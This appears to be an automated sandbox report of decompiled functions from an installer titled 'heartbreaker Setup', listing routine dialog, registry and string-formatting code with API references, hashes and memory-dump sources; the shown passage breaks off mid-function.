
C-Code - Quality: 100%

			E00402B3B(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x40b018; // 0x8200
					_t11 =  *0x41f028;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b48
0x00402b56
0x00402b5c
0x00402b5c
0x00402b6a
0x00402b6c
0x00402b72
0x00402b79
0x00402b7b
0x00402b7b
0x00402b91
0x00402ba1
0x00402bb3
0x00402bb3
0x00402bbb

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
MulDiv.KERNEL32(00008200,00000064,?), ref: 00402B81
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32 ref: 00402BB3

Strings

verifying installer: %d%%, xrefs: 00402B8B

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction ID: e41715c37a5330c5740685503c003044c4943c79b663b03d39d41db920bc543d
Opcode Fuzzy Hash: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction Fuzzy Hash: 34014470A00209ABDB249F60DD09EAE3779AB04345F008039FA16B92D1D7B49A559F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402303, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402303(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				signed int _t30;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402AEB(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x14));
				 *(_t37 - 0x30) =  *(_t37 - 0x10);
				 *(_t37 - 0x44) = E004029F6(2);
				_t18 = E004029F6(0x11);
				_t30 =  *0x423f30; // 0x0
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27, _t30 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E004029F6(0x23);
						_t19 = lstrlenA(0x40a350) + 1;
					}
					if(_t35 == 4) {
						_t24 = E004029D9(3);
						 *0x40a350 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E5B( *((intOrPtr*)(_t37 - 0x18)), _t27, 0x40a350, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x44), _t27,  *(_t37 - 0x30), 0x40a350, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423f08 =  *0x423f08 +  *(_t37 - 4);
				return 0;
			}

0x00402304
0x00402309
0x00402313
0x0040231d
0x00402320
0x0040232a
0x0040233a
0x00402341
0x00402349
0x00402357
0x0040235b
0x00402366
0x00402366
0x0040236a
0x0040236e
0x00402374
0x00402379
0x00402379
0x0040237d
0x00402389
0x00402389
0x004023a2
0x004023a4
0x004023a4
0x004023a7
0x0040247d
0x0040247d
0x0040288e
0x0040289a

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp
API String ID: 1356686001-2444061766
Opcode ID: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction ID: 0c84a363429982d99d3a5a271a87b4b8d308e401ccf86a25fc22d5166c0076e5
Opcode Fuzzy Hash: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction Fuzzy Hash: 781163B1E00209BFEB10AFA4DE49EAF767CFB40358F10413AF901B61D0D6B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 004037EF, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004037EF(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				intOrPtr _t15;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405954(__ecx, "1033");
				while(1) {
					_t26 =  *0x423ec4; // 0x1
					if(_t26 == 0) {
						goto L7;
					}
					_t15 =  *0x423e90; // 0x7afb48
					_t16 =  *(_t15 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423ec0;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423660 = _t18[1];
					 *0x423f28 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42365c = _t23;
						E0040593B(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420450, E004059FF(_t13, _t24, _t26, "heartbreaker Setup", 0xfffffffe));
						_t11 =  *0x423eac; // 0x4
						_t27 =  *0x423ea8; // 0x7afcf4
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t5 = _t27 + 0x18; // 0x7afd0c
								_t11 = E004059FF(_t13, _t25, _t27, _t5, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x004037f3
0x004037f8
0x004037fe
0x00403803
0x00403803
0x0040380b
0x00000000
0x00000000
0x0040380d
0x00403813
0x0040381b
0x0040381d
0x00403823
0x00403823
0x00403825
0x00403831
0x00000000
0x00000000
0x00403835
0x00000000
0x00000000
0x00000000
0x00403837
0x0040383c
0x00403845
0x0040384b
0x00403850
0x00403864
0x0040386f
0x00403887
0x0040388d
0x00403892
0x0040389a
0x004038bb
0x004038bb
0x004038bb
0x0040389c
0x0040389e
0x0040389e
0x004038a2
0x004038a5
0x004038a9
0x004038a9
0x004038ae
0x004038b4
0x004038b4
0x00000000
0x0040389e
0x00403852
0x00403857
0x00403860
0x00403859
0x00403859
0x00403859
0x00403857

APIs

SetWindowTextA.USER32(00000000,heartbreaker Setup), ref: 00403887

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004037F0
~v{, xrefs: 00403864
1033, xrefs: 004037F3, 004037FD, 0040386E
heartbreaker Setup, xrefs: 00403876

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\$heartbreaker Setup$~v{
API String ID: 530164218-1128562392
Opcode ID: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction ID: 1abde7c3b4d11e9a2e55591403c44a3397e590d434b7b54f33d2a439c9831bdd
Opcode Fuzzy Hash: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction Fuzzy Hash: 0711C276B002119BC730AF55D8809377BADEF4471631981BFE80167390C73D9E028B98

Uniqueness

Uniqueness Score: -1.00%

Function 73861837, Relevance: 7.7, APIs: 5, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E73861837(signed int __edx, void* __eflags, void* _a8, void* _a16) {
				void* _v8;
				signed int _v12;
				signed int _v20;
				signed int _v24;
				char _v52;
				void _t45;
				void _t46;
				signed int _t47;
				signed int _t48;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				signed int _t60;
				signed int _t61;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				signed int _t77;
				void* _t81;
				signed int _t83;
				signed int _t85;
				signed int _t87;
				signed int _t90;
				void* _t101;

				_t85 = __edx;
				 *0x7386405c = _a8;
				_t77 = 0;
				 *0x73864060 = _a16;
				_v12 = 0;
				_v8 = E7386123B();
				_t90 = E738612FE(_t42);
				_t87 = _t85;
				_t81 = E7386123B();
				_a8 = _t81;
				_t45 =  *_t81;
				if(_t45 != 0x7e && _t45 != 0x21) {
					_a16 = E7386123B();
					_t77 = E738612FE(_t74);
					_v12 = _t85;
					GlobalFree(_a16);
					_t81 = _a8;
				}
				_t46 =  *_t81;
				_t101 = _t46 - 0x2f;
				if(_t101 > 0) {
					_t47 = _t46 - 0x3c;
					__eflags = _t47;
					if(_t47 == 0) {
						__eflags =  *((char*)(_t81 + 1)) - 0x3c;
						if( *((char*)(_t81 + 1)) != 0x3c) {
							__eflags = _t87 - _v12;
							if(__eflags > 0) {
								L56:
								_t48 = 0;
								__eflags = 0;
								L57:
								asm("cdq");
								L58:
								_t90 = _t48;
								_t87 = _t85;
								L59:
								E73861429(_t85, _t90, _t87,  &_v52);
								E73861266( &_v52);
								GlobalFree(_v8);
								return GlobalFree(_a8);
							}
							if(__eflags < 0) {
								L49:
								__eflags = 0;
								L50:
								_t48 = 1;
								goto L57;
							}
							__eflags = _t90 - _t77;
							if(_t90 < _t77) {
								goto L49;
							}
							goto L56;
						}
						_t85 = _t87;
						_t48 = E73862EF0(_t90, _t77, _t85);
						goto L58;
					}
					_t57 = _t47 - 1;
					__eflags = _t57;
					if(_t57 == 0) {
						__eflags = _t90 - _t77;
						if(_t90 != _t77) {
							goto L56;
						}
						__eflags = _t87 - _v12;
						if(_t87 != _v12) {
							goto L56;
						}
						goto L49;
					}
					_t58 = _t57 - 1;
					__eflags = _t58;
					if(_t58 == 0) {
						__eflags =  *((char*)(_t81 + 1)) - 0x3e;
						if( *((char*)(_t81 + 1)) != 0x3e) {
							__eflags = _t87 - _v12;
							if(__eflags < 0) {
								goto L56;
							}
							if(__eflags > 0) {
								goto L49;
							}
							__eflags = _t90 - _t77;
							if(_t90 <= _t77) {
								goto L56;
							}
							goto L49;
						}
						__eflags =  *((char*)(_t81 + 2)) - 0x3e;
						_t85 = _t87;
						_t59 = _t90;
						_t83 = _t77;
						if( *((char*)(_t81 + 2)) != 0x3e) {
							_t48 = E73862F10(_t59, _t83, _t85);
						} else {
							_t48 = E73862F40(_t59, _t83, _t85);
						}
						goto L58;
					}
					_t60 = _t58 - 0x20;
					__eflags = _t60;
					if(_t60 == 0) {
						_t90 = _t90 ^ _t77;
						_t87 = _t87 ^ _v12;
						goto L59;
					}
					_t61 = _t60 - 0x1e;
					__eflags = _t61;
					if(_t61 == 0) {
						__eflags =  *((char*)(_t81 + 1)) - 0x7c;
						if( *((char*)(_t81 + 1)) != 0x7c) {
							_t90 = _t90 | _t77;
							_t87 = _t87 | _v12;
							goto L59;
						}
						__eflags = _t90 | _t87;
						if((_t90 | _t87) != 0) {
							goto L49;
						}
						__eflags = _t77 | _v12;
						if((_t77 | _v12) != 0) {
							goto L49;
						}
						goto L56;
					}
					__eflags = _t61 == 0;
					if(_t61 == 0) {
						_t90 =  !_t90;
						_t87 =  !_t87;
					}
					goto L59;
				}
				if(_t101 == 0) {
					L21:
					__eflags = _t77 | _v12;
					if((_t77 | _v12) != 0) {
						_v24 = E73862D80(_t90, _t87, _t77, _v12);
						_v20 = _t85;
						_t48 = E73862E30(_t90, _t87, _t77, _v12);
						_t81 = _a8;
					} else {
						_v24 = _v24 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_t48 = _t90;
						_t85 = _t87;
					}
					__eflags =  *_t81 - 0x2f;
					if( *_t81 != 0x2f) {
						goto L58;
					} else {
						_t90 = _v24;
						_t87 = _v20;
						goto L59;
					}
				}
				_t67 = _t46 - 0x21;
				if(_t67 == 0) {
					_t48 = 0;
					__eflags = _t90 | _t87;
					if((_t90 | _t87) != 0) {
						goto L57;
					}
					goto L50;
				}
				_t68 = _t67 - 4;
				if(_t68 == 0) {
					goto L21;
				}
				_t69 = _t68 - 1;
				if(_t69 == 0) {
					__eflags =  *((char*)(_t81 + 1)) - 0x26;
					if( *((char*)(_t81 + 1)) != 0x26) {
						_t90 = _t90 & _t77;
						_t87 = _t87 & _v12;
						goto L59;
					}
					__eflags = _t90 | _t87;
					if((_t90 | _t87) == 0) {
						goto L56;
					}
					__eflags = _t77 | _v12;
					if((_t77 | _v12) == 0) {
						goto L56;
					}
					goto L49;
				}
				_t70 = _t69 - 4;
				if(_t70 == 0) {
					_t48 = E73862D40(_t90, _t87, _t77, _v12);
					goto L58;
				} else {
					_t71 = _t70 - 1;
					if(_t71 == 0) {
						_t90 = _t90 + _t77;
						asm("adc edi, [ebp-0x8]");
					} else {
						if(_t71 == 0) {
							_t90 = _t90 - _t77;
							asm("sbb edi, [ebp-0x8]");
						}
					}
					goto L59;
				}
			}

0x73861837
0x73861841
0x7386184a
0x7386184d
0x73861852
0x7386185b
0x73861864
0x73861866
0x7386186d
0x7386186f
0x73861872
0x73861876
0x73861882
0x7386188b
0x73861890
0x73861893
0x73861899
0x73861899
0x7386189c
0x7386189f
0x738618a2
0x73861968
0x73861968
0x7386196b
0x738619e5
0x738619e9
0x738619f8
0x738619fb
0x73861a03
0x73861a03
0x73861a03
0x73861a05
0x73861a05
0x73861a06
0x73861a06
0x73861a08
0x73861a0a
0x73861a10
0x73861a19
0x73861a2a
0x73861a35
0x73861a35
0x738619fd
0x738619e0
0x738619e0
0x738619e2
0x738619e2
0x00000000
0x738619e2
0x738619ff
0x73861a01
0x00000000
0x00000000
0x00000000
0x73861a01
0x738619ed
0x738619f1
0x00000000
0x738619f1
0x7386196d
0x7386196d
0x7386196e
0x738619d7
0x738619d9
0x00000000
0x00000000
0x738619db
0x738619de
0x00000000
0x00000000
0x00000000
0x738619de
0x73861970
0x73861970
0x73861971
0x738619aa
0x738619ae
0x738619ca
0x738619cd
0x00000000
0x00000000
0x738619cf
0x00000000
0x00000000
0x738619d1
0x738619d3
0x00000000
0x00000000
0x00000000
0x738619d5
0x738619b0
0x738619b4
0x738619b6
0x738619b8
0x738619ba
0x738619c3
0x738619bc
0x738619bc
0x738619bc
0x00000000
0x738619ba
0x73861973
0x73861973
0x73861976
0x738619a3
0x738619a5
0x00000000
0x738619a5
0x73861978
0x73861978
0x7386197b
0x7386198b
0x7386198f
0x7386199c
0x7386199e
0x00000000
0x7386199e
0x73861991
0x73861993
0x00000000
0x00000000
0x73861995
0x73861998
0x00000000
0x00000000
0x00000000
0x7386199a
0x7386197e
0x7386197f
0x73861985
0x73861987
0x73861987
0x00000000
0x7386197f
0x738618a8
0x73861920
0x73861922
0x73861925
0x73861943
0x73861946
0x7386194c
0x73861951
0x73861927
0x73861927
0x7386192b
0x7386192f
0x73861931
0x73861931
0x73861954
0x73861957
0x00000000
0x7386195d
0x7386195d
0x73861960
0x00000000
0x73861960
0x73861957
0x738618aa
0x738618ad
0x73861911
0x73861913
0x73861915
0x00000000
0x00000000
0x00000000
0x7386191b
0x738618af
0x738618b2
0x00000000
0x00000000
0x738618b4
0x738618b5
0x738618eb
0x738618ef
0x73861907
0x73861909
0x00000000
0x73861909
0x738618f1
0x738618f3
0x00000000
0x00000000
0x738618f9
0x738618fc
0x00000000
0x00000000
0x00000000
0x73861902
0x738618b7
0x738618ba
0x738618e1
0x00000000
0x738618bc
0x738618bc
0x738618bd
0x738618d1
0x738618d3
0x738618bf
0x738618c1
0x738618c7
0x738618c9
0x738618c9
0x738618c1
0x00000000
0x738618bd

APIs

GlobalFree.KERNEL32 ref: 73861893
GlobalFree.KERNEL32 ref: 73861A2A
GlobalFree.KERNEL32 ref: 73861A2F

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: aa8c93ee33c503f6d3b42f494a358cdb114485748d2f78c3505856e9c8f8fcff
Instruction ID: 3fde26a2f528c448d95e9c19ce898ea66f3669e57d99e4c6b4c80e98a979d638
Opcode Fuzzy Hash: aa8c93ee33c503f6d3b42f494a358cdb114485748d2f78c3505856e9c8f8fcff
Instruction Fuzzy Hash: 5E51E432D04198EFDB12CFF8C8457AEBBBBAF4464BF68405AD407E3297C63199418751

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A36(void* _a4, char* _a8, long _a12) {
				void* _v8;
				char _v272;
				signed char _t16;
				long _t18;
				long _t25;
				intOrPtr* _t27;
				long _t28;

				_t16 =  *0x423f30; // 0x0
				_t18 = RegOpenKeyExA(_a4, _a8, 0, _t16 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						__eflags = _a12;
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							__eflags = 1;
							return 1;
						}
						_t25 = E00402A36(_v8,  &_v272, 0);
						__eflags = _t25;
						if(_t25 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405CFF(2);
					if(_t27 == 0) {
						__eflags =  *0x423f30; // 0x0
						if(__eflags != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						__eflags = _t28;
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x423f30, 0);
				}
				return _t18;
			}

0x00402a46
0x00402a57
0x00402a5f
0x00402a87
0x00402a6e
0x00402a71
0x00402ac1
0x00402ac7
0x00402ac9
0x00000000
0x00402ac9
0x00402a7e
0x00402a83
0x00402a85
0x00000000
0x00000000
0x00402a85
0x00402a9c
0x00402aa4
0x00402aab
0x00402ad1
0x00402ad7
0x00000000
0x00000000
0x00402adf
0x00402ae5
0x00402ae7
0x00000000
0x00000000
0x00000000
0x00402ae7
0x00000000
0x00402aba
0x00402ace

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction ID: 582bceb6e4b24316922a1ee6e85d565da044e62c79b522cd3b8563d0d5e38007
Opcode Fuzzy Hash: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction Fuzzy Hash: E7111771A10049BEEF31AF90DE49DAF7B7DEB44345B104036F906A10A0DBB49E51AF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CC1(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 0x34), __edx);
				GetClientRect(_t25, _t27 - 0x40);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E004029F6(_t21), _t21,  *(_t27 - 0x38) *  *(_t27 - 0x1c),  *(_t27 - 0x34) *  *(_t27 - 0x1c), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ccb
0x00401cd2
0x00401d01
0x00401d09
0x00401d10
0x00401d10
0x0040288e
0x0040289a

APIs

GetDlgItem.USER32 ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32 ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction ID: c9eade559dcb8dabe12f7fb8fefc2ecb3bb817c4e851fb83d30c8e131ed4808d
Opcode Fuzzy Hash: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction Fuzzy Hash: B5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 00404568, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404568(int _a4, intOrPtr _a8, unsigned int _a12) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t26;
				void* _t34;
				signed int _t36;
				signed int _t39;
				unsigned int _t46;

				_t46 = _a12;
				_push(0x14);
				_pop(0);
				_t34 = 0xffffffdc;
				if(_t46 < 0x100000) {
					_push(0xa);
					_pop(0);
					_t34 = 0xffffffdd;
				}
				if(_t46 < 0x400) {
					_t34 = 0xffffffde;
				}
				if(_t46 < 0xffff3333) {
					_t39 = 0x14;
					asm("cdq");
					_t46 = _t46 + 1 / _t39;
				}
				_push(E004059FF(_t34, 0, _t46,  &_v36, 0xffffffdf));
				_push(E004059FF(_t34, 0, _t46,  &_v68, _t34));
				_t21 = _t46 & 0x00ffffff;
				_t36 = 0xa;
				_push(((_t46 & 0x00ffffff) + _t21 * 4 + (_t46 & 0x00ffffff) + _t21 * 4 >> 0) % _t36);
				_push(_t46 >> 0);
				_t26 = E004059FF(_t34, 0, 0x420478, 0x420478, _a8);
				wsprintfA(_t26 + lstrlenA(0x420478), "%u.%u%s%s");
				return SetDlgItemTextA( *0x423658, _a4, 0x420478);
			}

0x00404570
0x00404574
0x0040457c
0x0040457f
0x00404580
0x00404582
0x00404584
0x00404587
0x00404587
0x0040458e
0x00404594
0x00404594
0x0040459b
0x004045a6
0x004045a7
0x004045aa
0x004045aa
0x004045b7
0x004045c2
0x004045c5
0x004045d7
0x004045de
0x004045df
0x004045ee
0x004045fe
0x0040461a

APIs

lstrlenA.KERNEL32(00420478,00420478,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404488,000000DF,0000040F,00000400,00000000), ref: 004045F6
wsprintfA.USER32 ref: 004045FE
SetDlgItemTextA.USER32 ref: 00404611

Strings

%u.%u%s%s, xrefs: 004045E0

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction ID: de100ae33fd703a766e80fabf1c0ef7e237f6bef08e04a4196497c65211e5d03
Opcode Fuzzy Hash: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction Fuzzy Hash: 331104B370012477DB10666D9C05EAF329DDBC6334F14023BFA2AF61D1E9388C1186E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BAD() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 0x34) = E004029D9(3);
				 *(_t55 + 8) = E004029D9(4);
				if(( *(_t55 - 0x10) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x34)) = E004029F6(0x33);
				}
				__eflags =  *(_t55 - 0x10) & 0x00000002;
				if(( *(_t55 - 0x10) & 0x00000002) != 0) {
					 *(_t55 + 8) = E004029F6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E004029F6();
					_t28 = E004029F6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 0x34),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E004029D9();
					_t37 = E004029D9();
					_t48 =  *(_t55 - 0x10) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8));
						L10:
						 *(_t55 - 8) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8), _t42, _t48, _t55 - 8);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x24)) - _t42;
